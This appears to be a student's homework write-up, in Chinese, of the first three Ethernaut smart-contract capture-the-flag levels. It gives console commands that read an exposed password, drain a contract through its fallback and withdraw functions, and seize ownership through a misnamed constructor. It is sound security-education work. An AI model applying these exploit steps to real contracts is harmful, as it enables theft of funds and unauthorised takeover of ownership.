# Garrick信仲 | C0051202 第八週作業 ## 0.Hello Ethernaut 密碼在contructor裡給予合約,而在合約中又可以透過呼叫password()取得密碼,再呼叫authenticate()把passkey送入認證,導致使用者可以取得不應該得到的權限 ``` await contract.password() 得到"ethernaut0" await contract.authenticate("ethernaut0") ``` ![](https://i.imgur.com/XepzPeF.png) ## 1.Fallback 試著透過Metamask送出0.00001測試幣到instance contract但是交易無法成功,試過許多方式最後發現透過以下步驟可以解開 ``` contract.contribute({value: toWei("0.00001")}) contract.sendTransaction({value: toWei("0.00001")}) contract.withdraw() ``` ![](https://hackmd.io/_uploads/SyKiNHmEn.png) ## 2.Fallout 看過合約發現有一個function Fal1out()可以執行讓owner=msg.sender, 所以執行以下程式後解開 ``` contract.Fal1out() ``` ![](https://hackmd.io/_uploads/HkP35rQEh.png)